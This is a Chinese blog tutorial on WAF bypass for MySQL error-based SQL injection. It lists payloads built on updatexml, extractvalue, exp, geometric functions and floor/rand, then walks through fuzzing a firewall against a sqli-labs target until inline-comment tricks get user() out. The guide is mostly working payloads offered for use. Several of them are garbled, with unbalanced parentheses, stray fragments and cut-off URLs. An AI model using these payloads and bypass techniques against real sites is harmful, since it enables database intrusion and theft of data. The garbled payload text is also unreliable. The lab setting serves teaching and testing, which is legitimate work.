bypasswaf 之报错注入

0x00 前言

前面讲到了bypass 联合查询和盲注,那么这章节就来个报错注入。

0x01 报错注入与函数

此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

在联合查询查询能爆出数据是因为在页面有显示位,而盲注只能靠页面返回正常或者错误,这样的方式比较慢,那么这时候如果有报错,可以直接通过mysql的报错语句让他爆出数据。

1.updatexml()

updatexml() 是更新xml文档的函数
语法:update(目标xml文档,xml路径,更新内容) 第二个参数xml路径是可以操作的地方,xml文档中查找字符串位置是用/xx/xx...这种格式,如果写入其他格式就会报错。

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)">1));

 

 

 

 

2.extractvalue()

1 and (extractvalue(0x7e)));

 

 

 语法:extractvalue(目标xml文档,xml路径)

 

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

3.exp()

1 and exp(~(from(select user())a));
exp()以e为底的指数函数,但是如果传递的数太大了,当大于709时,

exp()就会因为重复而报错。 将0按位取反就会得到“ 18446744073709551615”,

再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。

 通过子查询与按位求反,造成一个双倍的溢出错误,可能就可以注出数据。 

4.geometrycollection()

1 and geometrycollection((select user())a)b));

5.multipoint()

1 and multipoint((select user())a)b));

6.polygon()

1 and polygon((select user())a)b));

7.multipolygon()

1 and multipolygon((select user())a)b));

8.linestring()

1 and linestring((select user())a)b));

9.multilinestring()

1 and multilinestring((select user())a)b));

10.floor

1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

 

floor(x) 函数,向下取整,返回一个不大于x的值
round(x,d) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值

 

 0x02 bypass盲注

http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

 

 

 

 

那么我们先来fuzz一下拦截的参数

and 不拦截 
and updatexml        不拦截
and updatexml()      不拦截
and updatexml(1) 拦截
and updatexml(1)  不拦截
and updatexml(1,1,1 不拦截

那么现在却确定他拦截的是 完整的 and updatexml (1,2,3)  那么我们可以从他的括号做手脚

 and updatexml(/*!)*/   不拦截

 

 

 成功绕过,那么我们现在来查询user(),查询用户名。

' and updatexml(1,1/*!)*/--+

输入select拦截了还得继续fuzz

and updatexml(*/               不拦截
and updatexml(
select ),1)">*/ 不拦截 and updatexml(select user ),1)">*/ 不拦截 and updatexml(select user() ),1)">*/ 拦截

那么他拦截的肯定是user和括号拼接起来的函数

 

 

 

 继续fuzz

and updatexml(select user/**/() ),1)">   拦截
and updatexml(select user+() ),1)">      拦截
and updatexml(select user--+%0a() ),1)">  拦截
and updatexml(select user--+hex(0)*/%0a() ),1)">!hex(0)*/  不拦截 
试试另一种方法
and updatexml(1,(select user(/**/) ),1/*!)*/ 拦截
and updatexml(1,(select user(/*!/**/*/) ),1/*!)*/ 绕过

 

 

 这里因为没有加concat 等字符拼接函数,所以显示会有问题,这里来添加试试

http:

 

 

 这里被拦截 那么肯定就是concat这个函数。

继续fuzz

and updatexml(*/  不拦截且回显~号
and updatexml(0x7e!,*/ (1)*/*/  不拦截  回显1

这里concat()和concat(0x7e,)不拦截 加多个都好就拦截了 ,那么他肯定过滤了,这里用/*!*/来绕过

 

 现在我们已经回显出1来了 就可以来用user()函数来查询一下

http:

 

 查询成功  成功绕过waf后面的一些暴库,爆表也是一样的方法思路。

0x03   结尾

啥也不说插个表情包

 

相关文章

每个HTTP请求和响应都会带有相应的头部信息。默认情况下,在...
"Markdown自动生成目录" "使用n...
当我们从客户端向服务器发送请求时 服务器向我们返...
原理 介绍 哈希表(Hash table,也叫散列表), 是根据关键码...
一 共享秘钥 1.1 概念 共享秘钥和我们生活中同一把锁的钥匙概...
正向代理的概念 正向代理,也就是传说中的代理,他的工作原理就...